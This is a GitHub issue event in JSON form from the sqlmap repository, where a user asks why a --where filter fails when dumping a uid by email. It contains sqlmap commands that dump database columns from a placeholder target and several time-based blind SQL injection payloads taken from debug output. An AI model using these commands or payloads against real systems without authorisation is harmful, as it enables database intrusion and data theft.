{"action":"created","issue":{"url":"https://api.github.com/repos/sqlmapproject/sqlmap/issues/1636","labels_url":"https://api.github.com/repos/sqlmapproject/sqlmap/issues/1636/labels{/name}","comments_url":"https://api.github.com/repos/sqlmapproject/sqlmap/issues/1636/comments","events_url":"https://api.github.com/repos/sqlmapproject/sqlmap/issues/1636/events","html_url":"https://github.com/sqlmapproject/sqlmap/issues/1636","id":124902609,"number":1636,"title":"problem with --where dumping data","user":{"login":"oddissue","id":16552765,"avatar_url":"https://avatars.githubusercontent.com/u/16552765?v=3","gravatar_id":"","url":"https://api.github.com/users/oddissue","html_url":"https://github.com/oddissue","followers_url":"https://api.github.com/users/oddissue/followers","following_url":"https://api.github.com/users/oddissue/following{/other_user}","gists_url":"https://api.github.com/users/oddissue/gists{/gist_id}","starred_url":"https://api.github.com/users/oddissue/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/oddissue/subscriptions","organizations_url":"https://api.github.com/users/oddissue/orgs","repos_url":"https://api.github.com/users/oddissue/repos","events_url":"https://api.github.com/users/oddissue/events{/privacy}","received_events_url":"https://api.github.com/users/oddissue/received_events","type":"User","site_admin":false},"labels":[],"state":"open","locked":false,"assignee":null,"milestone":null,"comments":2,"created_at":"2016-01-05T06:04:58Z","updated_at":"2016-01-05T13:58:03Z","closed_at":null,"body":"There's a very odd problem I'm having in sqlmap where, if I run:\r\n`sqlmap.py -u \"http://example.com/?id=2\" -p \"id\" -D example -T members -C email --where=\"uid=5\" --dump`\r\n\r\nthe email is dumped/extracted, let's say it is example@example.com in this example.\r\n\r\nNow if I want to work backwards and find the uid of the email, we would run:\r\n`sqlmap.py -u \"http://example.com/?id=2\" -p \"id\" -D example -T members -C uid --where=\"email='example@example.com'\" --dump`\r\n\r\nor:\r\n\r\n`sqlmap.py -u \"http://example.com/?id=2\" -p \"id\" -D example -T members -C uid --where=\"email=0x6578616d706c65406578616d706c652e636f6d\" --dump`\r\n\r\nIn which case, the payloads used are:\r\n\r\n`[PAYLOAD] 2 AND (SELECT * FROM (SELECT(SLEEP(1-(IF(ORD(MID((SELECT IFNULL(CAST(COUNT(*) AS CHAR),0x20) FROM example.members WHERE email=0x6578616d706c65406578616d706c652e636f6d),1,1))>54,0,1)))))MTAX)%23`\r\n\r\n`[PAYLOAD] 2 AND (SELECT * FROM (SELECT(SLEEP(1-(IF(ORD(MID((SELECT IFNULL(CAST(COUNT(*) AS CHAR),0x20) FROM example.members WHERE email=0x6578616d706c65406578616d706c652e636f6d),1,1))>57,0,1)))))MTAX)%23`\r\n\r\nWhere it then fails:\r\n\r\n`[INFO] retrieved:`\r\n`[DEBUG] performed 4 queries in 25.58 seconds`\r\n`[WARNING] in case of continuous data retrieval problems you are advised to try a switch '--no-cast' or switch '--hex'`\r\n`[WARNING] unable to retrieve the number of column(s) 'uid' entries for table 'members' in database 'example'`\r\n\r\n\r\nI have tried, both --hex and --no-cast, but nothing works.\r\n\r\nThe payload when I use `sqlmap.py -u \"http://example.com/?id=2\" -p \"id\" -D example -T members -C email --where=\"uid=5\" --dump` (which works) is :\r\n\r\n`2 AND (SELECT * FROM (SELECT(SLEEP(1-(IF(ORD(MID((SELECT COUNT(*) FROM example.members WHERE uid=2),1,1))>48,0,1)))))qrgM)%23`\r\n\r\nAlso, the --time-sec=1 is no issue, i have also tried it with --time-sec=5 but there is no difference, it still fails to work backwards to get the uid from the email.\r\n\r\nAny ideas what the issue is?\r\n\r\nthanks !\r\n\r\n"},"comment":{"url":"https://api.github.com/repos/sqlmapproject/sqlmap/issues/comments/169008254","html_url":"https://github.com/sqlmapproject/sqlmap/issues/1636#issuecomment-169008254","issue_url":"https://api.github.com/repos/sqlmapproject/sqlmap/issues/1636","id":169008254,"user":{"login":"oddissue","id":16552765,"avatar_url":"https://avatars.githubusercontent.com/u/16552765?v=3","gravatar_id":"","url":"https://api.github.com/users/oddissue","html_url":"https://github.com/oddissue","followers_url":"https://api.github.com/users/oddissue/followers","following_url":"https://api.github.com/users/oddissue/following{/other_user}","gists_url":"https://api.github.com/users/oddissue/gists{/gist_id}","starred_url":"https://api.github.com/users/oddissue/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/oddissue/subscriptions","organizations_url":"https://api.github.com/users/oddissue/orgs","repos_url":"https://api.github.com/users/oddissue/repos","events_url":"https://api.github.com/users/oddissue/events{/privacy}","received_events_url":"https://api.github.com/users/oddissue/received_events","type":"User","site_admin":false},"created_at":"2016-01-05T13:58:03Z","updated_at":"2016-01-05T13:58:03Z","body":"Basically, what needs to be achieved here is:\r\n\r\nWe need to find a way, to make sqlmap think the normal server response is 3.7 seconds, where in reality, it is 0.350.\r\n"}}